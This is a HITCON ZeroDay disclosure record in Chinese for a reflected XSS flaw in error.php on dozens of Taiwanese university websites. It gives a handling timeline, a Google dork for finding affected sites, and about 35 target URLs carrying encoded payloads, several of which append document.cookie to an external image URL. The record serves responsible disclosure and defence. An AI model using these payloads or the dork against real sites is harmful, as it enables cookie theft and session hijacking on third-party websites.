多間大學、學術網站XSS漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00383
  • Vendor: RulingSite-S
  • Title: 多間大學、學術網站XSS漏洞
  • Introduction: 圖片XSS

處理狀態

目前狀態

公開
Last Update : 2017/02/28
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2016/12/27 03:01:40 : 新提交 (由   更新此狀態)
  • 2016/12/27 10:24:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/12/30 16:00:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/12/30 16:00:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/01/16 11:33:08 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/02/28 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2016-00383
  • 通報者:Pushhh ( )
  • 風險:低
  • 類型:反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。

漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則: OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

防禦繞過方式: OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.gitl.ntu.edu.tw/error.php?msg=</plaintext\></|\)><img "s"rc="https://g.twimg.com/blog/blog/image/Cat-party.gif'" /><plaintext/>

http://www.mesa.nccu.edu.tw/error.php?msg=%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://www.doct.nuu.edu.tw/error.php?msg=%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif/%3E%3Cplaintext/%3E

http://www.afl.ntust.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://tcm.ntunhs.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.phy.fju.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.gcwc.ntnu.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://wtm.kuas.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.badger.ncut.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://acpm.ntua.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.iem.nctu.edu.tw/en/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://das-sle.ccu.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://train.niu.edu.tw/~NIU_TF/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.dop.nsysu.edu.tw/error.php?msg=%E6%82%A8%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://www.cge.pu.edu.tw/~CGE/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://home.ntcu.edu.tw/SCIENCE/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.acc.ntpu.edu.tw/error.php?msg=%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif/%3E%3Cplaintext/%3E

http://www.ba.ncku.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://geducation.tmu.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://pharmschool.tmu.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://crdd.tmu.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://www.nkuht.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://future.tku.edu.tw/~FUTURE/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.csu.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://law.thu.edu.tw/error.php?msg=jkl%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://www.mse.nthu.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://1www.tnua.edu.tw/~TNUA_DANCE/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://www.au.edu.tw/error.php?msg=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E

http://maritime.nkmu.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://bio.nknu.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://sec.hk.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://ntouioc.ntou.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://taiccat.ncu.edu.tw/en/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://chem-alumni.chem.nthu.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

http://www.hiess.nuu.edu.tw/error.php?msg=%3Cimg%20src=x%20onerror=%3C/plaintext\%3E%3C/|\)%3E%3Cimg%20%22s%22rc=%22http%22s://%22g.twimg.com/blog/blog/image/Cat-party.gif?cookie=%27%20+%20this.document.cookie%20+%20%27%22%20/%3E%3Cplaintext/%3E

敘述

之前在幫某學校找漏洞時發現的,最近突然想到是否其他學校也有呢?
果不其然一大堆,但也有些無法運行成功(不錯)。
由於實在是太多學校系所與學術網站,建議直接告知廠商修補後統一更新。
圖片只傳一張,依站類推。

google search:
site:.tw inurl:error.php?msg=

payload:
error.php?msg=%3C/plaintext\%3E%3C/|)%3E%3Cimg%20%22s%22rc=%22https://g.twimg.com/blog/blog/image/Cat-party.gif%27%22%20/%3E%3Cplaintext/%3E
error.php?msg=<img src=x onerror=</plaintext></|)><img "s"rc="http"s://"g.twimg.com/blog/blog/image/Cat-party.gif?cookie=' + this.document.cookie + '" /><plaintext/>

擷圖

留言討論

;